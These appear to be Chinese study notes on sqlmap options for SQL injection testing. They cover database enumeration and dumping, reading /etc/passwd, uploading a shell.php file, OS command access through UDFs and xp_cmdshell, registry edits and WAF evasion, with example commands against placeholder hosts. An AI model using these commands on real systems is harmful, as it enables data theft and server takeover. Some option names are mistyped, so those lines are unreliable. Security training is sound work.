sqlmap自动注入
Enumeration【数据枚举】
--privileges -U username【CU 当前账号】
-D dvwa -T users -C user --columns 【指定数据库,表,列】
--exclude-sysdbs 【排除系统层的库】
*******************************************************************************
#查具体数据 【前提:当前数据库用户有权读取information_schema库】
--schema --batch --exclude-sysdbs 元数据【--batch:批处理,使用默认选项,直接出结果】
--count 【计数】
Dump数据
--dump, -C, -T, -D, --start, --stop
--dump-all --exclude-sysdbs
--sql-query "select * from users" 【前提:已查询得知数据库的表和列;自定义SQL查询语句】
******************************************************************************
Brute force【当无权限访问information_schema,使用暴力破解】
须知
1、Mysql < 5.0 , 没有 information_schema 库
2、Mysql >= 5.0 但无权读取information_schema 库
3、使用的是微软的access数据库,默认无权读取MSysObjects
--common-columns (Acess系统表无列信息) 【若不指定列,默认为当前列】
UDF injection【自定义参数注入,属于高级注入】
编译共享库创建并上传至DB Sever,以此生成UDF实现高级注入
上传文件格式:Linux:shared object Windows:DLL
File system【文件系统的访问】
--file-read="/etc/passwd"
--file-write="shell.php" --file-dest "/tmp/shell.php" 【注入文件必须存放在当前目录;上传存放的目标目录】
#默认存储在:.sqlmap/output
OS 【操作系统的访问】
LINUX系统:Mysql、postgresql
上传共享库并生成sys_exec()、sys_eval()两个UDF
Windows系统:Mssql
利用xp_cmdshel存储过程(有就用,禁就启,没就建)
--sql-shell 【SQL的shell】
Windows Registry 【windows系统注册表 前提:当前用户有权限对注册表进行操作】
--reg-read
--reg-add
--reg-del
--reg-key、--reg-value、--reg-data、--reg-type
例如:sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
General 【一般性函数】
-s:修改sqlite会话文件保存位置
默认:.sqlmap/output
-t:修改记录流量文件保存位置
默认:.sqlmap/output
--charset:强制字符编码
--charset=GBK
--crawl:指定从起始位置爬网深度
--batch --crawl=3
--csv-del:指定其他分割符 【dump数据 默认存于” ,”分割的CSV文件】
--csv-del=";"
--dbms-cred:指定数据库账号【前提:有数据库管理系统的账号密码】
#查过的数据都保存在Session中
--flush-session:清空Session 【当我们再次查询相同站点的查询,其查询内容为前一次保存的Session数据】
--force-ssl:针对https网站进行查询
--fresh-queries:忽略Session查询结果
--hex:以十六进制(原数据)形式dump非ASCII字符内容,收到后解码还原,只是作用于通道
sqlmap -u "http://<ip>/s.php?id=1" --hex -v 3
--output-dir=/tmp 【指定输出数据的目录】
--parse-errors: 分析和现实数据库内建报错信息,来判断漏洞
sqlmap.py -u "http://<id>/sqlmap/a.asp?id=" --parse-errors
--save:将命令保存成配置文件,指定保存位置 【】
Miscellaneous 【杂项】
-z:参数助记符 【可简写,参数写成参数集合】
如:sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u "1.1.1.1/a.asp?id=1"
sqlmap -z "bat,random,ign,tec=BEU" -u "1.1.1.1/a.asp?id=1"
--answer:设定不同的问题的参数【类似--batch】
sqlmap -u "http://<ip>/a.php?id=1" --technique=E --anser="extending=N" --batch
--check-waf:检测WAF/IPS/IDS
--hpp:HTTP parameter pollution 【本质,WEB上的一个漏洞】
绕过WAF/IPS/IDS的有效方法
尤其对ASP/IIS和ASP.NET/IIS
--identity-waf:彻底的waf/ips/ids检查 【因为有些WAF只过滤第一次出现的username】
支持30多种产品
*************************************************************************
--mobile:模拟智能手机设备
--purge-output:清除output文件夹
--smart:当有大量检测目标时,只选择基于错误的检测结果
--wizard:向导